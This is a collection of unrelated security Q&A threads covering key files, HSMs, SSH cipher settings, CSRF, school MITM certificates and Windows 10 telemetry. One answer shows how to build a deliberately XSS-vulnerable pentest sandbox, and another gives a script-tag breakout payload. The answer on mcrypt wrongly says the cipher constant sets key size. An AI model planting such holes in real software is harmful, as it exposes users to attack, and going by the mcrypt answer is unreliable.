Identify owner of public key certificate Today I logged in and found these certs in my home directory (macOS):

3d001d000851363136363935_rsa_new.der
3d001d000851363136363935_rsa_new.pem
3d001d000851363136363935_rsa_new.pub.pem
backup_rsa_3d001d000851363136363935_rsa_new.der
backup_rsa_3d001d000851363136363935_rsa_new.pub.pem

The creation and modification dates are the same and are from 6 days ago. I'm very confused about how they got there and would like to understand more. Is there a way to identify which software moved them there or to discover the owner of the public certs? There is no meta info in the certs.

In your specific case it's quite likely these keys were generated using the CLI tool for Particle (IoT software). That's because it creates key files with the same naming pattern as in your examples.

E.g.:

(hex device ID)_rsa_new.pub.pem
backup_(hex device ID)_rsa_new.der

(Relevant source code file.)

So 3d001d000851363136363935 is the ID of a device you've been working with. If you don't recall using Particle explicitly, think of (Particle-powered) IoT devices you worked with in the past and follow these instructions to find out their respective device ID to compare it with the one on the keys.

Here is sample output showing how particle creates keys with the same naming pattern:

% particle keys doctor 1a002d001547353236343033
running dfu-util -l
Found DFU device 2b04:d006
running dfu-util -l
Found DFU device 2b04:d006
running openssl genrsa -out 1a002d001547353236343033_rsa_new.pem 1024
running openssl rsa -in 1a002d001547353236343033_rsa_new.pem -pubout -out 1a002d001547353236343033_rsa_new.pub.pem
running openssl rsa -in 1a002d001547353236343033_rsa_new.pem -outform DER -out 1a002d001547353236343033_rsa_new.der
New Key Created!
running dfu-util -l
Found DFU device 2b04:d006
running dfu-util -l
Found DFU device 2b04:d006
running dfu-util -d 2b04:d006 -a 1 -s 34:612 -U backup_rsa_1a002d001547353236343033_rsa_new.der
running openssl rsa -in backup_rsa_1a002d001547353236343033_rsa_new.der -inform DER -pubout -out backup_rsa_1a002d001547353236343033_rsa_new.pub.pem
Saved!
checking file 1a002d001547353236343033_rsa_new.der
spawning dfu-util -d 2b04:d006 -a 1 -i 0 -s 34:leave -D 1a002d001547353236343033_rsa_new.der
dfu-util 0.8
...

(Source)


HSM key management system on AWS/Azure I need to store user database credentials securely for an application to access.

I have considered:
- using AWS RDS with an encrypted PostgreSQL instance
- using the AWS key management system, backed by a hardware security module

Doesn't the KMS still create a single point of failure?  If my application's keys to the KMS API are stolen, they will be able to read all the passwords stored in the KMS (even if each user is using their own key)?

What is the recommended setup for something like this?

The HSM only makes it so that you know there is only 1 copy of the key. Use of the key is a separate issue. You do get the peace of mind that someone hasn't copied the key and is using it somewhere else. If the HSM is safe, the key is safe.


Key Size vs. Block Size: In Practice I've seen a lot of confusion between encryption key size and block size.  I feel like I completely understand the difference between the two, no need to explain what they are.  But it's when put in practice that I feel like the two numbers get confused.

So let's look at the following php code...

$encrypted=mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$key,$plaintext,MCRYPT_MODE_CBC,$iv);

...and assume the $iv has been created in a cryptographic secure way.

Question 1)

Is the MCRYPT_RIJNDAEL_128 defining the key size or the block size?

Question 2)

If we had set the key as:

$key={{eight cryptographically strong characters}};

Would the above code be an implementation of 64 bit encryption, because of the eight character key?  Or would it be an implementation of 128 bit encryption because of the MCRYPT_RIJNDAEL_128?

Question 3)

Finally, if we instead do:

$key={{thirty-two cryptographically strong characters}};

Would that be an implementation of 256 bit encryption, or still 128 bit encryption?  And if 128 bit, does that mean that a key longer than 128 bits gets trimmed somehow by the encryption algorithm?

Key size.  All Rijndale (aka. AES) cipher variants operate on the plaintext 128 bits at a time.
No.  Your 64 bits of key data would be expanded to a 128-bit key, either through zero-padding or through a key-derivation function.  It won't be as strong as if you'd provided 128 bits of key data, but that's a different matter.
No.  Your 256 bits of key data will be reduced to a 128-bit key, either through truncation or through a key-derivation function.  Since there's a 128-bit long key that produces the same encryption as your 256 bits of key data, you do not gain any security.


Storing passwords in reversible form - a genuine use-case What's wrong with you, you crazy fool, you're not supposed to be able to retrieve a password in plain text!

I know. Hear me out.

Assume I've got a service that's similar to Mint.com. For those that aren't familiar with Mint, it works like this:

User signs up to Mint.com much like they would any other online service - by providing an email address & password.
Here's where things get interesting. The user then selects their bank name from a dropdown, and provides their online banking username and password to Mint.
This is where things get really interesting. Mint stores these credentials and uses them to retrieve the list of credit/debit card transactions made by the user automatically - at different times of the day. They do this by automatically logging into the online banking site - using the users credentials (presumably through a browser emulator of sorts).

Now I need a secure way of protecting the online banking credentials of my customers.

Here's the big question: How would YOU do it?

Yes, I've already read this question and this one. The answers all suggest using a more secure method of communication with the 3rd party (either authenticating using API keys, or passing hashed parameters). In my opinion, and it's just that - an opinion - it seems to me like a genuine use-case where I have incredibly sensitive information that NEEDS to be available in plain text - at least periodically throughout the day.

Interesting fact: Mint.com has over 10 million users

In the case you've described you're storing information on behalf of the user, and you're not using it to authenticate the user. Hence, while the contents of what you're storing includes passwords (almost exclusively), you're not really "storing passwords" in the traditional sense. You're storing secrets.

Adjust your strategy accordingly.

Both of these problems are solved; you just need to apply the correct solution. When "storing passwords" (that is, authenticating the user), you go through the hashing, the the salt, the key stretching, etc., that you're familiar with. But what about storing secrets.

First and foremost, you avoid the problem if possible. This is why concepts like API access tokens exist. You don't need my Facebook password because you can't use it. You need an access token which Facebook is willing to give you with my permission.

The next best solution is to tie access to user login. The information is encrypted using a key derived from the password you use to log in - which I don't know and don't store. So I (the server owner) can't access your data unless you type in your password.

This is popular because it's powerful. In fact, Windows has been doing this for a long time, which is why changing your password can cause encrypted files to become inaccessible. It's also the reason why your Windows password is stored in plain text in memory while you're logged in. An implementation snafu which I would advise you to avoid.

Next on our list, you can separate your processes such that unencrypted data is never available on outward-facing machines. Bonus points if an HSM is involved. The gist here is that the user provides his secrets to the web server, which are quickly encrypted using the public key to some secret crypto device which is totally inaccessible because it's not connected. The plain secrets get immediately forgotten, and the encrypted data then gets shipped off to some cold storage somewhere.

Eventually the secrets get decrypted somewhere else with the assistance of that crypto thingy and get used. Only, the point where this happens has NO INTERNET ACCESS. Or at least no path from the outside in.

Finally, you can try the solution above, but fail miserably. I only mention this because really all other solutions are just crappy variations on the ones above: encrypting in the database, using an application password, storing the password on another server, storing the data on another server, salting your encryption key with [silly idea here], and so on.

And finally, my standard warning for questions like this applies. I'll write it really big:

  The fact that you're asking this question means that you shouldn't do it

Seriously. Storing peoples banking credentials? If you don't understand what sort of trouble you're getting yourself in to, if you're asking the Internet for suggestions on how to do this, if all the solutions I mentioned weren't ALREADY top-of-mind to you as the only viable options, then you shouldn't be implementing this.

People are trusting you to do this right. And you're not going to do this right. Not because you didn't ask the right questions, but because you haven't solved this problem often enough to understand what hidden pitfalls you'll have overlooked. This is difficult stuff: not difficult to do, but difficult to not make mistakes.

Don't betray the trust of your customers by getting yourself in over your head.


How to enumerate all drop-down options in an html form using Burp Suit Intruder In my app there is a form with a <select> element which has several <options> to choose from. I want to get all the responses that correspond to each option available in the form. The best method I came up with is to copy/paste the html text from the page into a text file and then manually create a newline delimited list which I import and use as a Runtime file in my payload. Is there an easier way to do this? Maybe right-click the <select> element and "Create payload"?

This isn't possible in core Burp but I have coded you an extension to do this. You can download it here

This version takes quite a basic approach, using regular expressions to parse the HTML. I'm sure it could be greatly improved.


does a public key work with all encrypted programs let us say, I use program "x" for my e-mail security. through them I have a public key and a private key. My friend uses program "y" for their e-mail security and consequentially have a public key and a private key. The question is when I use my friend's public key (not from my program) to send them an encrypted e-mail (by my program), will they be able to read it, and how?
let us say, I use program "x" for my e-mail security. through them I have a public key and a private key. my friend does not have encrypted e-mail program. when I send my friend an encrypted e-mail will he be able to read it, and how?

If both email client supports S/MIME (Secure/Multipurpose Internet Mail Extensions) which uses the industry-standard X.509 version 3 certificates then yes, they are compatible.
Examples of such programs include Microsoft Outlook, Mozilla Thunderbird, Apple Mail and Mulberry Mail etc.

If your friend does not have a compatible email client, then he will have to manually use external toolkits like OpenSSL (example commands) to decrypt the encrypted S/MIME email.


Is MediaWiki viable for sensitive information? I was under the impression that MediaWiki, due to its nature as "open for all Wiki platform", is not tailored towards managing sensitive information.

I found some warnings about this on the MediaWiki FAQ and some user account extensions as:

  If you need per-page or partial page access restrictions, you are
  advised to install an appropriate content management package.
  MediaWiki was not written to provide per-page access restrictions, and
  almost all hacks or patches promising to add them will likely have
  flaws somewhere, which could lead to exposure of confidential data. We
  are not responsible for anything being leaked, leading to loss of
  funds or one's job.

Now a consultant of my boss tells him there is no problem with sensitive information at all. I would like to hear if he is right, and I worry too much.

I suppose all problems would go away if we would use separate instances of MediaWiki for every user group with the same rights. Or are there known vulnerabilities?

Edit (some more information on the data):

The data contains information about financial investments (so it is very important for the customer) which should be made available only to key personnel. And this key personnel may well change so the rights have to be revocable. I can't estimate the scope of the data yet, but if the system works well it may be used a lot.

(Remark: This question was asked at Stack Overflow, but since it was considered off-topic there, I ask it again here.)

There is the Access Control extension.
But, you should also read the Security issues with authorization extensions linked from there.

MediaWiki is not designed to be a CMS, or to protect sensitive data. To the contrary, it was designed to be as open as possible. Thus it does not inherently support full featured, air-tight protection of private content. But with the massive increase of MediaWiki use in corporate intranets and the many CMS-like features emerging, demand for tighter security is emerging.
To help authors of security extensions, this list of the security flaws found in the field is being maintained, so that they can test their extension against each. There are several extensions that claim to give selective read/write access to pages in Category:Page specific user rights extensions, and currently most of these do exhibit several of the listed flaws.

Hopefully, that will help you make your decisions.
Update: Summary from comments, MediaWiki is not a good mechanism for publishing limited-access information.


Secure Configuration of Ciphers/MACs/Kex available in SSH Following on the heels of the previously posted question here, Taxonomy of Ciphers/MACs/Kex available in SSH?, I need some help to obtain the following design goals:

Disable any 96-bit HMAC Algorithms.
Disable any MD5-based HMAC Algorithms.
Disable CBC Mode Ciphers and use CTR Mode Ciphers.

To this end, the following is the default list for supported ciphers:

Ciphers aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour

I was looking at changing it to this:

Ciphers aes256-ctr,aes192-ctr,aes128-ctr,aes256-gcm@openssh.com,aes128-gcm@openssh.com,arcfour256

Next, for the HMAC, it supports the following:

hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-sha1-96,hmac-md5-96

And I was looking at changing it to this:

hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1-etm@openssh.com,hmac-sha1,umac-128-etm@openssh.com,umac-64-etm@openssh.com,umac-128@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-ripemd160

Will this provide the most benefit in terms of security while mitigating the known weaknesses and attacks against common SSH configurations?  Note that this question is not about 0-days or other related flaws in the SSH code and is specifically about the best possible arrangement and configuration of the ciphers, KexAlgorithms, and MACs. If the order is wrong, please suggest a better method to arrange them.  This is also for the sshd_config file and not client connections.

Right now, there is no known weakness with MD5 or CBC encryption or 96-bit MAC as they are used in SSH. So there is, stricto sensu, no security benefit in enacting the configuration modifications that your are proposing. It could be argued that removing support for some algorithms might lead to security issues because it may prevent some clients from connecting at all, thus forcing the user into finding workarounds which could be less secure (e.g. if scp is no longer possible, send the file over email...).

The least irrational of your design goals is the prohibition against CBC. CBC security requires proper management of Initialization Vectors; in the case of SSH, the IV is extracted from the last block of the previous packet (see the standard), which is fine as long as the attacker is not in a "chosen plaintext attack" situation. In practice, data which goes inside the SSH tunnel is not hostile, contrary to what occurs in HTTPS contexts where malicious client code (in Javascript) is a definite possibility. Similarly, padding oracle attacks on SSH are hard to leverage (assuming that the client or server code is not adequately protected), because SSH is connection oriented and won't (re)open failed connection automatically (there again, contrary to what happens with HTTPS).

Similarly, HMAC/MD5 is, as far as we know, as solid as ever. Known collision attacks on MD5 have no bearing on the security of HMAC, except in the fuzziest of senses (which can be summarized as: "MD5 stinks"). As for truncating HMAC values to 96 bits, there is again no reason to discriminate against that: an attacker will successfully bypass a 96-bit MAC value with probability 2-96, which is extremely low, and impossible to exploit in practice because any MAC failure on a single SSH connection is reported with a quite visible error message. This is again the way SSH is used which protects it against the level of attack automation that can be applied to HTTPS.

Therefore one could say that since pruning out algorithms from the list is for the benefit of your feelings of safety, the right list is the one which will make you feel safest. That's subjective, by definition, so you are the only one who can define this "best" list. As for me, I am quite happy with the defaults.

As for order, consider this excerpt from section 7.1 of RFC 4253:

  encryption_algorithms
     A name-list of acceptable symmetric encryption algorithms (also
     known as ciphers) in order of preference.  The chosen
     encryption algorithm to each direction MUST be the first
     algorithm on the client's name-list that is also on the
     server's name-list.

So the chosen algorithm will be the client's preferred algorithm. The server's order of preference is only a glorified comment; it won't impact which algorithm is actually chosen. Therefore, the order in /etc/sshd_config is not important.


Bypass input validation I'm trying to create a vulnerable sandbox environment for pentesting challenges. As part of the challenge, I want to include some elements of XSS or SQLi if possible. However, I do not wish to make this too easy either.
I built a web server hosting a simple website of mine. In my codes, I used the following as a simple input validation trick I've read up somewhere.
if(isset($_POST["name"]) && !empty($_POST['name'])){
$_POST['name']=validate_input($_POST['name']);
}

function validate_input($data){
    $data=trim($data);
    $data=stripslashes($data);
    $data=htmlspecialchars($data,ENT_QUOTES,'UTF-8');
    echo $data;
    return $data;
}

Any ideas on how a hacker can bypass this?

First off, "input validation" is when you say "the input needs to match a certain format" and reject otherwise, like:
if !is_phone_number($input) {
   return400();
}

What you are showing is not input validation, it's output escaping. Specifically php's htmlspecialchars() is making the data safe to output directly into an HTML document.

I feel like you're missing the second half of your code how you are using this input. To be HTML XSS you have to inject this input into an HTML context (which you have escaped for, so that probably won't work, assuming php's htmlspecialchars() is done properly), or inject it directly into a javascript context, or a Kendo template, or something.
To be SQLi you have to use it to construct an SQL statement.

If you want to make this vulnerable to XSS, but in a subtle way, I would do the following:
Set the ENT_NOQUOTES option to htmlspecialchars() so that single and double quotes are left un-encoded.
Then use this input directly in a javascript blob, for example return this HTML page:

Nothing to see here...

Now, because you have excluded quote and double-quote un-escaped, the following input:
";alert(1)

will result in your server rendering and serving the following html:

which will pop the alert box (or whatever other javascript payload you put in).


Difference between vulnerabilities on windows/linux/mac for same program If someone finds a vulnerability like buffer overflow in a program such as Google Chrome or Mozilla Firefox running on a linux machine, are there any chances that this vulnerability will persist on Mac OS X or Windows running same program.

Buffer overflows might be specific to a given target architecture; on PC and PC-like machines, it is possible that a buffer overflow exists in 32-bit mode and not in 64-bit mode, and vice versa. A buffer overflow is a programming bug: the program tries to do something that is not possible (writing more data than possibly fits in a buffer), and certainly not foreseen by the programmer. The size of both the buffer and the data which can be attempted to be written into it may depend on the characteristics of the platform, hence the possible dependency. Some buffer overflows actually occur in system libraries which are misused by the application, in which case the problem may be specific to a given operating system, and not extend to other OS where the "same" application may run.

A bug is still a bug, though -- that it fails to be demonstrated on a given architecture just means that the programmer's luck just locally exceeded his sloppiness. Also, regardless of the points above, most buffer overflows are system neutral: they occur on every system and architecture where the offending code is compiled.

Things are not that clear for all kinds of vulnerabilities. E.g., applications on Unix-like systems (this includes Linux and MacOS, but not Windows) often need to create temporary files in the /tmp directory, and the creation can often be subverted into a write access anywhere, with a symbolic link, assuming that the attacker can run code on the same machine (under a different username) and can predict the temporary file name. Failure to use a random unpredictable name for the temporary file is a vulnerability that applications may have on MacOS, but which does not appear on Windows. This is just an example; I do not want to suggest that MacOS or Linux is less secure (or, for that matter, more secure either) than Windows.

It is still a fair bet that most vulnerabilities found in Web browsers will persist on all operating systems. Web browsers are more and more self-contained, and really look like OS-within-the-OS, so their vulnerabilities tend to be their own, quite independent of the external operating system.

On the other hand, exploitation of the vulnerabilities, i.e. turning the bug into arbitrary code execution or the like, can be very system-dependent. Some OS employ various techniques in order to make life harder on the attacker, such as address space layout randomization or non-executable stacks. The buffer overflow (if the vulnerability is a buffer overflow) is still there, but ease of escalating it into a successful attack can greatly vary for the same application, not only between operating systems, but also between versions or even configuration options of a given OS. There is no reliable general rule, except that vulnerabilities shall be tracked down and eliminated whenever possible.


Encryption Algorithms with an error code for wrong password I am looking for an encryption algorithm that would allow me to know if the password supplied is the correct one or not.

This question can be considered as a follow-up for Q. In particular the answer from bethlakshmi:

When you want the server to use the key, I'm guessing the process is this:

user gives the system his password
system checks the password, hashing it - and it's good.
system takes the password (not the hash!) and the salt and computes the encryption key
system takes encryption key and decrypts AES Key

I would like to do the steps 3 and 4 and forget about the 1 and 2. So, I don't want to store the hash of the password (or password+salt), so I don't want to check the password for correctness as in steps 1 and 2.

Proposal: I would like to compute the encryption key and try to decrypt the AES Key.  One way would be that the AES key once decrypted with a valid password then can really allow authentication or... and in case invalid would make the authentication fail.

First question: Is the proposal considered bad practice or not? in case yes bad practice, of course please add the why?
Back to the real question: Is there an encryption method (by this I mean the encryption method used to encrypt the AES key) that would return some error code if the password supplied is incorrect?

[Your question is a little bit unclear to me, but I'll try to do a good job]

OK. From 3&4 I can see that the strength of your key simply depends on the strength of the password and the salt.

Your proposal isn't bad but it is definitely not a good practice. Reason is simple: Consider a case in which the wrong password is entered. How will you find out this is the wrong password? It will just throw gibberish and you can't find out if it is the original plaintext.

But, there are 2 ways to get around this to a certain extent.
a)Store the hash of the original message and compare it to the hash of the decrypted message. If there is a mismatch, then the password is wrong. This can be in-effective in the light of rainbow-tables. But, salting along with one-way hashing funcitons can help you get around the problem posed by rainbow table.

b) In case you want to avoid hashing as given in 'a', then use a pre-defined set of characters as header and footer. Your code must be able to look for this pattern at the correct location once it is decrypted. So if this fails, then the password is wrong.

Encryption algorithms throw no error message. Your code can be modified to introduce an error message if you need one.


Does encrypting a setting in web.config actually provide security? Does encrypting a value in the web.config file actually provide any real protection? It seems to me that any web app can read that setting. Yes that's more work than just reading the web.config file, but it's not a big difference if you have control of the system.

No, when you encrypt a web.config section, you specify which application and site the configuration belongs to.  The container is going to be specific to that site and application, and will not be accessible to other applications.

If you control the system, then you can do whatever you want, including just decrypting the section.  There is no protection against the owner of the box.

The biggest protection that you get here is against the web.config file itself being leaked.  If a malicious party gets a copy of the file, the sensitive data it contains can't be used to attack you if it is encrypted.


Are .NET WebServices vulnerable to CSRF? While developing TeamMentor I implemented a number of WebServices (consumed via jQuery) and now on its final push for release I want to double check that they are not vulnerable to CSRF.

There isn't a lot of good information out there and it seems that in .NET, *.asmx are protected by default to CSRF, with a possible exception of an exploit scenario using Flash (to set the cookies)

[updated info]

If you want to take a look at the code, the whole thing is at GitHub, and here is the source code of the version with a test Library (OWASP Top 10):  https://github.com/TeamMentor-OWASP/Master  (just download the zip file and click on the 'Start webserver.bat' to have a locally running copy)

If you just want to take a look at it, check out this test server:
http://50.18.82.146:8081 for the main GUI and
http://50.18.82.146:8081/aspx_pages/tm_webservices.asmx for the webservices
In terms of CSRF for ASMX, my current understanding comes mainly from this Scott Guthrie article http://weblogs.asp.net/scottgu/archive/2007/04/04/json-hijacking-and-how-asp-net-ajax-1-0-mitigates-these-attacks.aspx (also referenced here AJAX Hacker Attacks - Cross Site Request Forgery )

Those articles imply that asmx webservices are not vulnerable to CSRF due to the extra application/json ContentType header.

Without providing more detail about your web services,  I would say yes there is a very good chance it is.   However the exploit is probably not what would expect as it is different from your usual HTTP POST/GET CSRF exploit.  In the case of SOAP or other web services the body of the message is XML or some other block of data.  When I write PoC CSRF exploits for services like this I am forced to use ActionScript's request.data feature.  It also should be noted that many, but not all of the http request headers can be set and modified with ActionScript.


School installs something on my Mac in order to connect to the school network. Should I be concerned? Recently my school started a program which allowed us to bring our own laptops to school. Previously we were given laptops (owned by the school) to use.

I'm still currently using the laptop given by the school and it will have to be returned next year therefore I have to buy my own laptop (which has to be a apple device) to use.

Currently my sister is using her own laptop to use at the school I go to. I have gone to the IT guy's to get the laptop connected to the internet. Then I seemed to have noticed that they were installing something on it. They told me to enter in the admin password of the computer into the terminal. After that the laptop was connected to the school network without the need of entering the wifi password.

According to the note my sister was given about the program the school started, there was this part of it that intrigued me.

"We will need to install software known as the "Recon Package" to enable automatic network configuration as well as the installation of school owned software required by students in different subjects."

The "Recon Package" seems to be very likely related to JAMF Software.
This "Recon Package" was installed on the Macs that the school has provided us which I find acceptable but for them to install it on our personal devices, I find very unusual and suspicious.

I can tell you now that this is extremely misleading since I was able to successfully connect to the school network on my phone and a different version of OSX running on a different partition (I do know the SSID and password) without the need of the required software and they never used this software to install software on the mac. I have also figured out how to remove it but if I do my sister would get the risk of getting caught.

I have also noticed that they have renamed the mac's hostname.

They have also installed a certificate to get rid of the annoying SSL errors that pop up when attempting to access a webpage.

So to conclude, Should I install this software on the Mac I intend to use next year? What privacy concerns should I be worried about?

They have also installed a certificate to get rid of the annoying SSL errors that pop up when attempting to access a webpage.

This indicates that they're running an HTTPS man-in-the-middle proxy - any data you send over the network (including passwords, even if you've got the green padlock) can be read by your network admins, and often the proxy server will not verify the certificate provided by the remote server, so you may be in danger of getting MITMed by an attacker and not noticing. Similar to the recent Lenovo Superfish scandal, if you want to read more on why this is bad.

I wouldn't use the network for anything remotely private unless my traffic was going through an extra VPN, and I didn't have their certificate installed.

This is before you look into what the actual software package does:

inventory hundreds of objects, including Mac addresses, serial numbers, and purchasing information for each computer
Email notifications for administrators on restart
and backup actions
CMDB/syslog compliant

At least they don't claim it includes a keylogger...


Is using VPN appropriate method in my case? Let's assume I want to visit example.com and hide it from its owner.

With help of a VPN it may work, but, if I understand how it all works properly, my ISP still sees IP address of VPN's servers I am connecting to.

Thus, if the owner of example.com asks my ISP for IP's I have ever connected to, he still may discover that I visited his site. So, am I right or not?

Is the IP address of a VPN server the same one that my primary ISP sees in order to tunnel traffic trough VPN?

Yes and no

(you) -> (isp) -> (vpn servers isp) -> (vpn server) -> (vpn servers isp) -> (example.com isp) -> (example.com)

your VPN's ISP could tell example.com that you connected to the VPN and that the VPN connected to example.com

Your ISP would only know that you connected to your VPN server.


malware attack on my website may have started a SOCKS server - please advise A website I do some volunteer work for was recently one of those affected by a wordpress plugin vulnerability.

Following advice in the answer to this question, which contains details of the attack, I am hoping someone can advise me on how to go about securing my website, since it is unknown to me if the script I posted about there managed to run itself before I killed it.

In particular, any information on how to go about ascertaining whether or not there is a SOCKS server active on the website would be appreciated (and how to kill it, if there is). I am fairly new to the behind-the-scenes aspect of websites, as you may be able to tell. If any other information is needed, for example the tools provided by my host, please let me know.

EDIT: this is not the same as the questions marked as similar, since those are general questions about how to secure a server. While I will take the advice in those questions, I am interested here specifically in how to find a kill the specific manifestation of the malware on my server - a SOCKS server.

IPTables!

It's the first thing I can think of.

This will happily let you block all outbound/inbound traffic that you don't want. So first you can configure SSH to be open on a non-standard port (ssh server config) and of course open port 80 (and 443 if SSL), for your inbound.

And only open port 80 and 443. Now, whilst this does not completely mitigate the risk, it's a tad more unlikely malware will go after the web ports to route it's proxy thru.

Since we are talking about WordPress. Always make sure you have everything up to date. Lock down the write accesses (ug WP autoupdate, who thought that was a good idea overrall?!).

.htaccess/blank index.html to lock down plugin folders that the author has overlooked.

Looking at the post you linked, that should help mitigate the attack in question.

Edit 1: It is of course always important to regularly audit your box(es) for running processes/open network ports.


Run XSS payload after syntax error in script tag? Recently, during a security audit, I found a page in which some URL parameter is reflected inside a <script> tag. It could be an easy XSS, but a line before the reflection there is a syntax error (e.g., string without ending quotes).

Is it possible to make JavaScript code run in spite of a syntax error one or more lines above it?

If there is a syntax error inside a script tag, no code in the block will be executed, neither above or below it. So to get some code running, you have two options:

Fix the syntax error using the code you are injecting. Depedning on what kind of error it is, this may or may not be possible. E.g. closing a quote two lines up sounds impossible, but balancing brackets should be doable.
End the script tag with the syntax error, and start a new clean one. If there is no filter at all you can inject e.g. <script>alert("XSS");</script><script>-


Does Windows 10 leak information about your IP address? There are various reports of Windows 10 automatically sending out data when the user opens the start menu. Can that information or other information that Windows 10 automatically sends out to the internet be used to link an individual PC to an IP address? Does it communicate IDs or other information with its requests that can be used to link IP addresses to specific PCs?

If I'm at an internet café with my notebook and go online, does Windows 10 send out information that can be used to link my notebook to the IP I'm using when I open the start menu?

If a systemwide proxy is set, does Windows 10 use that proxy to do its automatic requests?

Is Windows 10 Leaking my IP Address?
Almost everything is leaking your IP address.
I'm going to avoid telling you your IP address isn't secret. You seem to already know that. Instead, I'm going to tell you what you're looking for: Yes, Windows 10 leaks information about your IP address ten over a hundred times until Sunday, even if you're behind a proxy!

Can that information or other information that Windows 10 automatically sends out to the internet be used to link an individual PC to an IP address?

Yes, see below
----------

## Web Search Group Policy ##

Registry Keys:

1. HKEY_LOCAL_MACHINE\SOFTWARE\Polices\Microsoft\Windows\Windows Search\DisableWebSearch
2. HKEY_LOCAL_MACHINE\SOFTWARE\Polices\Microsoft\Windows\Windows Search\ConnectedSearchUseWeb\
3. HKEY_LOCAL_MACHINE\SOFTWARE\Polices\Microsoft\Windows\Windows Search\ConnectedSearchUseWebOverMeteredConnections

-----

## Cortana Group Policy ##

Registry keys:

1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\Experience\AllowCortana\value
2. HKEY_LOCAL_MACHINE\SOFTWARE\Polices\Microsoft\Windows\Windows Search\Allow Cortana

-----------

## OneDrive Service ##

Windows Services:

1. Sync Host (OneSyncSvc)
2. Sync Host_Session1 (OneSyncScv_Session1)

------------

## OneDrive Group Policy ##

Registry key:

- HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\OneDrive\DisableFileSyncNGSC

----------

## Remote Registry Service ##

Service: (RemoteRegistry)

-------------------

## Built-In Bing Search ##

Contacts Bing for things such as web searching. If a patch is made that circumvents the above fixing, you'll need to block Bing.

----------------

## Office 15 (2015) Telemetry Group Policy ##

Registry keys:

1. HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\office\15.0\osm\enablelogging
2. HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\office\15.0\osm\enablefileobfuscation
3. HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\office\15.0\osm\enableupload

-----------

## Office 15 (2013) Telemetry Scheduled Tasks ##

Tasks:

1. Microsoft\Office\OfficeTelemetryAgentFallBack
2. Microsoft\Office\OfficeTelemetryAgentLogOn

---------

## Office 16 (2016) Telemetry Group Policy ##

Registry keys:

1. HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\office\16.0\osm\enablelogging
2. HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\office\16.0\osm\enablefileobfuscation
3. HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\office\16.0\osm\enableupload

--------

## Office 16 (2016) Telemetry Scheduled Tasks ##

Tasks:

1. Microsoft\Office\OfficeTelemetryAgentFallBack2016
2. Microsoft\Office\OfficeTelemetryAgentLogOn2016

---------

## Telemetry Services ##

Services:

1. Connected User Experience and Telemetry (DiagTrack)
2. dmwappushscv (dmwappushservice)

---------

## Telemetry Group Policy ##

- HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DataCollection\AllowTelemetry

-------

## Consumer Experience Improvement Program Group Policy ##

- HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SQMClient\Windows\CEIPEnable

---------

## Customer Experience Improvement Program Scheduled Tasks ##

Tasks:

1. Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser
2. Microsoft\Windows\Application Experience\ProgramDataUpdater
3. Microsoft\Windows\Autochk\Proxy
4. Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector
5. Microsoft\Windows\Customer Experience Improvement Program\Consolidator

----------

## Application Impact Telemetry Group Policy ##

- HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat\AITEnable

-----

## Steps Recorder Group Policy ##

- HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat\DisableUAR

------

## WiFi Sense (HotSpot Sharing) Group Policy ##

Registry keys:

1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting\value
2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\WiFi\AllowAutoConnectToWiFiSenseHotSpots\value

-------

## P2P Windows Update outside local network ##

Registry keys:

1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode
2. HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\SystemSettingsDownloadMode

-----

TLDR: Registry Keys, Tasks, Hosts, and Services
I could go on and on. But download Spybot Anti-Beacon, and it will block most of these, and more. You don't want to block Windows Update because software updates help maintain the security and integrity of your machine.
Note that blocking all of these telemetry options isn't going to prevent information gathering, so don't trust in them. This program is simply there to help you opt out of Windows 10 telemetry stuff.
They can still find out what accounts were connected to what IP address at each time, even if the proxy is system-wide. If you wanted to hide your information from Microsoft, you would literally have to blacklist all connections, and whitelist only the ones you want.

Communicating Other IDs

Does it communicate IDs or other information with its requests that can be used to link IP addresses to specific PCs?
If I'm at an internet café with my notebook and go online, does Windows 10 send out information that can be used to link my notebook to the IP I'm using when I open the start menu?
If a systemwide proxy is set, does Windows 10 use that proxy to do its automatic requests?

Yes. Yes. Yes, and yes. Look at Application User ID Tracking:
Registry key:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion
AdvertisingInfo\Enabled

Answers to your main questions
Now that we've demonstrated a small fraction of IP-leaking processes behind Windows 10, let's talk about what can be done with this data.

If I'm at an internet café with my notebook and go online, does Windows 10 send out information that can be used to link my notebook to the IP I'm using when I open the start menu?

